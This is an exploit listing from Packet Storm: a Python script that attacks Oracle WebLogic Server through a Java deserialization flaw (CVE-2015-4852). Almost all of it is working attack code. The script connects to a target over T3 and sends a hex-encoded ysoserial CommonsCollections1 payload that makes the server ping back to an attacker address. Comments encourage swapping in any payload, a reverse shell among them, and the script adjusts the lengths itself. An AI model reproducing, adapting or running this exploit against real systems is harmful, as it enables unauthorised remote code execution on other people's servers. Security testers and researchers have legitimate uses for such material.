Oracle WebLogic Server Java Deserialization Remote Code Execution

2017-09-29T00:00:00
ID PACKETSTORM:144405
Type packetstorm
Reporter SlidingWindow
Modified 2017-09-29T00:00:00

Description

                                        
                                            `# Exploit Title: [Oracle WebLogic Server Java Deserialization Remote Code Execution]  
# Date: [27/09/2017]  
# Exploit Author: [SlidingWindow] , Twitter: @kapil_khot  
# Vulnerability Author: FoxGloveSecurity  
# Vendor Homepage: [http://www.oracle.com/technetwork/middleware/weblogic/overview/index.html]  
# Affetcted Versions: [Oracle WebLogic Server, versions 10.3.6.0, 12.1.2.0, 12.1.3.0 and 12.2.1.0]  
# Tested on: [Oracle WebLogic Server version 10.3.6.0 running on a Docker image Ubuntu 14.04.4 LTS, Trusty Tahr]  
# CVE : [CVE-2015-4852]  
  
'''  
This exploit tests the target Oracle WebLogic Server for Java Deserialization RCE vulnerability. The ysoserial payload causes the target to send  
Ping requests to attacking machine. You can monitor ICMP ECHO requests on your attacking machine using TCPDump to know if the exploit was successful.  
Feel free to modify the payload(chunk2) with that of your choice. Don't worry about modiyfing the payload length each time you change the payload as   
this script will do it for you on the fly.  
'''  
  
#!/usr/bin/env python  
import socket  
import sys  
import struct  
from binascii import unhexlify  
  
print "\n[+]Hope you've started monitoring ICMP ECHO requests on your attacking machine before running this exploit..."  
print "[+]Here is the command:\n\t tcpdump -nni <eth-adapter> -e icmp[icmptype] == 8\n"  
  
if len(sys.argv) < 2:  
print "\n[+]Please provide target IP and Port..."  
print "[+]Usage:\n\t ./weblogic_linuxPing.py <target_ip> <target_port>"  
sys.exit()  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
server_address = (sys.argv[1], int(sys.argv[2]))  
print '[+]Connecting to %s port %s' % server_address  
sock.connect(server_address)  
  
#Send headers  
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'  
print '[+]Sending\n"%s"' % headers  
sock.sendall(headers)  
  
data = sock.recv(1024)  
print >>sys.stderr, '\n[+]Received "%s"' % data  
  
  
#00000b4d (2893 bytes in decimal) is the TOTAL length of the payload(all chunks) that includes ysoserial payload.  
#We will calculate the TOTAL length of payload (first four bytes in 'chunk1') later as using different ysoserial payload changes the length  
chunk1='\x00\x00\x0b\x4d\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'  
  
  
#java -jar ysoserial-v0.0.4.jar CommonsCollections1 'ping -c 4 10.40.1.39' | xxd > yso.out  
#len(payload) is xxxx bytes  
#10.40.1.39 is the attacking IP in this case. Attacking IP should get ICMP Echo Request from the target.  
#This is the actual payload that pings back to attacking macine, this is Chunk#2 in the Payload.  
  
#Feel free to change this to a payload of your choice. I could not get a one liner BASH reverse shell working on my target but please let me know if you do :)  
chunk2 = "\xac\xed\x00\x05\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x78\x70\x73\x71\x00\x7e\x00\x00\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x1e\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x78\x70\x76\x71\x00\x7e\x00\x1e\x73\x71\x00\x7e\x00\x16\x75\x71\x00\x7e\x00\x1b\x00\x00\x00\x02\x70\x75\x71\x00\x7e\x00\x1b\x00\x00\x00\x00\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x1e\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x76\x71\x00\x7e\x00\x1b\x73\x71\x00\x7e\x00\x16\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x19\x70\x69\x6e\x67\x20\x2d\x63\x20\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x35\x33\x2e\x31\x33\x30\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x1e\x00\x00\x00\x01\x71\x00\x7e\x00\x23\x73\x71\x00\x7e\x00\x11\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x78\x70\x00\x00\x00\x01\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x00\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x70\x71\x00\x7e\x00\x3a"  
  
  
chunk3 = '\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'  
  
totallength = len(chunk1) + len(chunk2) + len(chunk3)  
print "[+]TOTAL payload length: ", totallength  
  
#Update the TOTAL payload length in Chunk1  
len_hex = hex(totallength)  
print "[+]Payload length in HEX: ", len_hex  
len_hex = len_hex.replace('0x', '0')  
print "[+]Payload length in HEX: " , len_hex  
  
s1 = len_hex[:2]  
s2 = len_hex[2:4]  
len_hex = unhexlify(s1 + s2)  
  
print "[+]Payload length in HEX now: ", len_hex  
  
#Update TOTAL payload length in 'chunk1' (first four bytes) on the fly if user decides to use his own ysoserial payload(Chunk2)  
print "[+]Updating Chunk1 according to the TOTAL payload length..."  
  
chunk1 = '\x00\x00' + len_hex + '\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00'  
  
#print "[+]Updated 'chunk1' : \n", chunk1  
  
#Get the final payload. This should have appropriate TOTAL payload lenght in 'chunk1'  
payload = chunk1 + chunk2 + chunk3  
  
#Adjust header for appropriate message length  
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])  
print '[+]Sending payload...'  
sock.send(payload)  
  
print "[+]Done! You should see ICMP ECHO requests from your target to your attacking machine!!"  
print("\n[+]Response to Request#: \n")  
response = sock.recv(15000)  
print(response)  
  
`